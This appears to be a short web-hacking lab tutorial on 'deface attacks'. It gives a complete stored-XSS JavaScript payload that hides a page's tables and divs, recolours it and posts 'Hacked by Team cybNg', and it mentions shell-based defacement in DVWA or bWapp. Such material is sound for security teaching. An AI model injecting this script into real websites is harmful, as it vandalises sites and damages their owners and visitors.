Let's write our message on the main webpage and delete or replace the main content of the page.
Deface ?, When we change the content of any webpage according to our own, it is called Deface attack.You must have seen many times when a hacker writes his message on the main page of a website, it is called a deface attack.
<script>
document.getElementsByTagName("tbody")[0].setAttribute("style", "display:none;");
document.getElementsByTagName("div")[0].setAttribute("style", "display:none;");
document.getElementsByTagName("table")[0].setAttribute("style", "display:none;");
document.getElementsByTagName("body")[0].setAttribute("style", "background-color:#008D4C;color:#ffffff;text-align:center");
var par = document.createElement("p");
var text = document.createTextNode("Hacked by Team cybNg");
document.body.appendChild(par.appendChild(text));
</script>
Click on the button after that let the page refresh, and you will see that your page is defaced
💡 Tip: There is another way to deface, we deface it through the shell, we will study in DVWA or bWapp